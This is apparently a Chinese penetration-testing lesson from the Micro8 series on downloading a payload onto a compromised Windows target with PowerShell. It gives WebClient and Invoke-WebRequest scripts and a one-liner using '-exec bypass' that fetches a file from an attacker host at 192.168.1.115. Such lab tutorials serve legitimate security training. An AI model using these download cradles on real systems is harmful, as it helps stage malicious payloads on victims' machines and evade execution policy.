> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/41-50/46powershell-yi-ju-hua-xia-zai-payload.md).

# 第四十六课：powershell一句话下载payload

自 Windows7 以后内置了 powershell，如Windows 7 中内置了 PowerShell2.0, Windows 8 中内置了 PowerShell3.0。

**靶机：windows 7** powershell $PSVersionTable\
![](/files/-LZJws29lRjQ8mCK-EKF)

## down.ps1:

基于System.Net.WebClient\
![](/files/-LZJws2BeDL-vi0eK2Uy)

![](/files/-LZJws2D0sDdfUgLDRcP)

## 附：

```
$Urls = @()
$Urls += "http://192.168.1.115/robots.txt"
$OutPath = "E:\PDF\" 
ForEach ( $item in $Urls) {
$file = $OutPath + ($item).split('/')[-1]
(New-Object System.Net.WebClient).DownloadFile($item, $file) 
}
```

**靶机：windows 2012** powershell $PSVersionTable\
![](/files/-LZJws2F57MTVEmLMB0z)

## down.ps1:

在 powershell 3.0以后，提供 wget 功能，既 Invoke-WebRequest\
![](/files/-LZJws2HVXHzfWEADw32)

`C:\inetpub>powershell C:\inetpub\down.ps1`\
注：需要绝对路径。

![](/files/-LZJws2JmQXDlm9AO8d8)

![](/files/-LZJws2LWFihFZnuFjHu)

## 附：

```
$url = "http://192.168.1.115/robots.txt"
$output = "C:\inetpub\robots.txt"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
Write-Output "Time : $((Get-Date).Subtract($start_time).Seconds) second(s)"
```

**当然也可以一句话执行下载：**

```bash
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://192.168.1.115/robots.txt','E:\robots.txt')
```

![](/files/-LZJws2N_g2taTkxpf4J)

> Micropoor